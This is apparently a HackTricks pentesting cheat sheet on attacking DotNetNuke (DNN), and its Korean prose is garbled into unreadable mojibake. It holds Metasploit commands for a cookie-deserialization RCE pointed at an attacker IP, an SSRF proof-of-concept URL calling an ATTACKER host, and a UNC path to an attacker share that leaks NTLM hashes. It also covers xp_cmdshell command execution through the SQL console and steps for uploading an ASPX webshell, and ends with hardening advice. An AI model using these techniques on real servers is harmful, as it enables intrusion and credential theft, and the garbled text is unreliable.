DotNetNuke (DNN)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
DotNetNuke (DNN)
DNN์ ๊ด๋ฆฌ์๋ก ๋ก๊ทธ์ธํ๋ฉด RCE๋ฅผ ์ป๋ ๊ฒ์ด ์ฝ์ง๋ง, ์ต๊ทผ ๋ช ๋ ๋์ ์ฌ๋ฌ ๋น์ธ์ฆ ๋ฐ ์ธ์ฆ ํ ๊ธฐ์ ์ด ๋ฐํ๋์์ต๋๋ค. ๋ค์ ์นํธ ์ํธ๋ ๊ณต๊ฒฉ ๋ฐ ๋ฐฉ์ด ์์ ๋ชจ๋์ ์ ์ฉํ ๊ธฐ๋ณธ ์์๋ฅผ ์์งํฉ๋๋ค.
๋ฒ์ ๋ฐ ํ๊ฒฝ ์ด๊ฑฐ
- X-DNN HTTP ์๋ต ํค๋๋ฅผ ํ์ธํ์ธ์ โ ์ผ๋ฐ์ ์ผ๋ก ์ ํํ ํ๋ซํผ ๋ฒ์ ์ ๊ณต๊ฐํฉ๋๋ค.
- ์ค์น ๋ง๋ฒ์ฌ๋
/Install/Install.aspx?mode=install์์ ๋ฒ์ ์ ์ ์ถํฉ๋๋ค (๋งค์ฐ ์ค๋๋ ์ค์น์์ ์ ๊ทผ ๊ฐ๋ฅ). /API/PersonaBar/GetStatus(9.x)๋ ๋ฎ์ ๊ถํ ์ฌ์ฉ์์ ๋ํด"dnnVersion"์ ํฌํจํ๋ JSON ๋ธ๋กญ์ ๋ฐํํฉ๋๋ค.- ๋ผ์ด๋ธ ์ธ์คํด์ค์์ ๋ณผ ์ ์๋ ์ผ๋ฐ์ ์ธ ์ฟ ํค:
.DOTNETNUKEโ ASP.NET ํผ ์ธ์ฆ ํฐ์ผ.DNNPersonalizationโ XML/์ง๋ ฌํ๋ ์ฌ์ฉ์ ํ๋กํ ๋ฐ์ดํฐ๊ฐ ํฌํจ๋์ด ์์ต๋๋ค (๊ตฌ๋ฒ์ โ ์๋ RCE ์ฐธ์กฐ).
๋น์ธ์ฆ ์ทจ์ฝ์ ์ด์ฉ
1. ์ฟ ํค ์ญ์ง๋ ฌํ RCE (CVE-2017-9822 ๋ฐ ํ์)
์ํฅ์ ๋ฐ๋ ๋ฒ์ โค 9.3.0-RC
DNNPersonalization์ ๋ด์ฅ๋ 404 ํธ๋ค๋ฌ๊ฐ ํ์ฑํ๋ ๋ชจ๋ ์์ฒญ์์ ์ญ์ง๋ ฌํ๋ฉ๋๋ค. ๋ฐ๋ผ์ ์กฐ์๋ XML์ ์์์ ๊ฐ์ ฏ ์ฒด์ธ ๋ฐ ์ฝ๋ ์คํ์ผ๋ก ์ด์ด์ง ์ ์์ต๋๋ค.
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
msf> set RHOSTS <target>
msf> set LHOST <attacker_ip>
msf> run
๋ชจ๋์ ํจ์น๋์์ง๋ง ์ฌ์ ํ ์ทจ์ฝํ ๋ฒ์ (CVE-2018-15811/15812/18325/18326)์ ๋ํด ์ฌ๋ฐ๋ฅธ ๊ฒฝ๋ก๋ฅผ ์๋์ผ๋ก ์ ํํฉ๋๋ค. 7.xโ9.1.x์์๋ ์ธ์ฆ ์์ด ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ๋ฉฐ, 9.2.x+์์๋ ๊ฒ์ฆ๋ ์ ๊ถํ ๊ณ์ ์ผ๋ก ๊ฐ๋ฅํฉ๋๋ค.
2. ์๋ฒ ์ธก ์์ฒญ ์์กฐ (CVE-2025-32372)
์ํฅ์ ๋ฐ๋ ๋ฒ์ < 9.13.8 โ ํจ์น๊ฐ 2025๋ 4์์ ์ถ์๋จ
๊ตฌ๋ฒ์ DnnImageHandler ์์ ์ ์ฐํ๋ฅผ ํตํด ๊ณต๊ฒฉ์๊ฐ ์๋ฒ์ ์์์ GET ์์ฒญ์ ํ๋๋ก ๊ฐ์ ํ ์ ์์ต๋๋ค(๋ฐ-๋ธ๋ผ์ธ๋ SSRF). ์ค์ ์ํฅ:
- ํด๋ผ์ฐ๋ ๋ฐฐํฌ์์ ๋ด๋ถ ํฌํธ ์ค์บ / ๋ฉํ๋ฐ์ดํฐ ์๋น์ค ๊ฒ์.
- ์ธํฐ๋ท์์ ๋ฐฉํ๋ฒฝ์ผ๋ก ์ฐจ๋จ๋ ํธ์คํธ์ ์ ๊ทผ.
๊ฐ๋
์ฆ๋ช
(๋์ฒด TARGET & ATTACKER):
https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
์์ฒญ์ ๋ฐฑ๊ทธ๋ผ์ด๋์์ ํธ๋ฆฌ๊ฑฐ๋ฉ๋๋ค; ์ฝ๋ฐฑ์ ์ํด ๋ฆฌ์ค๋๋ฅผ ๋ชจ๋ํฐ๋งํ์ธ์.
3. NTLM ํด์ ๋ ธ์ถ via UNC ๋ฆฌ๋๋ ์ (CVE-2025-52488)
์ํฅ์ ๋ฐ๋ ๋ฒ์ 6.0.0 โ 9.x (< 10.0.1)
ํน๋ณํ ์กฐ์๋ ์ฝํ
์ธ ๋ DNN์ด \\attacker\share\img.png์ ๊ฐ์ UNC ๊ฒฝ๋ก๋ฅผ ์ฌ์ฉํ์ฌ ๋ฆฌ์์ค๋ฅผ ๊ฐ์ ธ์ค๋๋ก ์๋ํ๊ฒ ๋ง๋ค ์ ์์ต๋๋ค. Windows๋ NTLM ํ์์ ๊ธฐ๊บผ์ด ์ํํ๋ฉฐ, ์๋ฒ ๊ณ์ ํด์๋ฅผ ๊ณต๊ฒฉ์์๊ฒ ์ ์ถํฉ๋๋ค. 10.0.1๋ก ์
๊ทธ๋ ์ด๋ํ๊ฑฐ๋ ๋ฐฉํ๋ฒฝ์์ ์์๋ฐ์ด๋ SMB๋ฅผ ๋นํ์ฑํํ์ธ์.
4. IP ํํฐ ์ฐํ (CVE-2025-52487)
๊ด๋ฆฌ์๊ฐ ๊ด๋ฆฌ ํฌํธ ๋ณดํธ๋ฅผ ์ํด Host/IP ํํฐ์ ์์กดํ๋ ๊ฒฝ์ฐ, 10.0.1 ์ด์ ๋ฒ์ ์ ๋ฆฌ๋ฒ์ค ํ๋ก์ ์๋๋ฆฌ์ค์์ X-Forwarded-For๋ฅผ ์กฐ์ํ์ฌ ์ฐํ๋ ์ ์์์ ์ ์ํ์ธ์.
์ธ์ฆ ํ RCE
SQL ์ฝ์์ ํตํ
Settings โ SQL ์๋์ ๋ด์ฅ๋ ์ฟผ๋ฆฌ ์ฐฝ์ด ์ฌ์ดํธ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋ํ ์คํ์ ํ์ฉํฉ๋๋ค. Microsoft SQL Server์์ **xp_cmdshell**์ ํ์ฑํํ๊ณ ๋ช
๋ น์ ์์ฑํ ์ ์์ต๋๋ค:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO
xp_cmdshell 'whoami';
ASPX ์น์ ์ ๋ก๋ ๋ฐฉ๋ฒ
- **
Settings โ Security โ More โ More Security Settings**๋ก ์ด๋ํฉ๋๋ค. - Allowable File Extensions์
aspx(๋๋asp)๋ฅผ ์ถ๊ฐํ๊ณ ์ ์ฅํฉ๋๋ค. - **
/admin/file-management**๋ก ์ด๋ํ์ฌshell.aspx๋ฅผ ์ ๋ก๋ํฉ๋๋ค. - **
/Portals/0/shell.aspx**์์ ์ด๋ฅผ ํธ๋ฆฌ๊ฑฐํฉ๋๋ค.
Windows์์์ ๊ถํ ์์น
**IIS AppPool<Site>**๋ก ์ฝ๋ ์คํ์ด ์ด๋ฃจ์ด์ง๋ฉด, ์ผ๋ฐ์ ์ธ Windows ๊ถํ ์์น ๊ธฐ์ ์ด ์ ์ฉ๋ฉ๋๋ค. ๋ง์ฝ ์์คํ ์ด ์ทจ์ฝํ๋ค๋ฉด ๋ค์์ ํ์ฉํ ์ ์์ต๋๋ค:
- PrintSpoofer / SpoolFool๋ฅผ ์ฌ์ฉํ์ฌ SeImpersonatePrivilege๋ฅผ ์ ์ฉํฉ๋๋ค.
- Juicy/Sharp Potatoes๋ฅผ ์ฌ์ฉํ์ฌ Service Accounts์์ ํ์ถํฉ๋๋ค.
๊ฐํ ๊ถ์ฅ ์ฌํญ (๋ธ๋ฃจ ํ)
- 9.13.9 ์ด์์ผ๋ก ์ ๊ทธ๋ ์ด๋ํฉ๋๋ค (SSRF ์ฐํ ์์ ) ๋๋ ๋ฐ๋์งํ๊ฒ๋ 10.0.1 (IP ํํฐ ๋ฐ NTLM ๋ฌธ์ ).
- ์ค์น ํ ์์ฌ
InstallWizard.aspx*ํ์ผ์ ์ ๊ฑฐํฉ๋๋ค. - ์์๋ฐ์ด๋ SMB (ํฌํธ 445/139) ์ดํ์ ๋นํ์ฑํํฉ๋๋ค.
- DNN ๋ด์์๊ฐ ์๋๋ผ ์ฃ์ง ํ๋ก์์์ ๊ฐ๋ ฅํ Host Filters๋ฅผ ์ํํฉ๋๋ค.
- ์ฌ์ฉํ์ง ์๋ ๊ฒฝ์ฐ
/API/RemoteContentProxy์ ๋ํ ์ ๊ทผ์ ์ฐจ๋จํฉ๋๋ค.
์ฐธ์กฐ
- Metasploit
dnn_cookie_deserialization_rce๋ชจ๋ ๋ฌธ์ โ ์ค์ฉ์ ์ธ ์ธ์ฆ๋์ง ์์ RCE ์ธ๋ถ์ ๋ณด (GitHub). - GitHub ๋ณด์ ์๋ฌธ GHSA-3f7v-qx94-666m โ 2025 SSRF ์ฐํ ๋ฐ ํจ์น ์ ๋ณด.
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


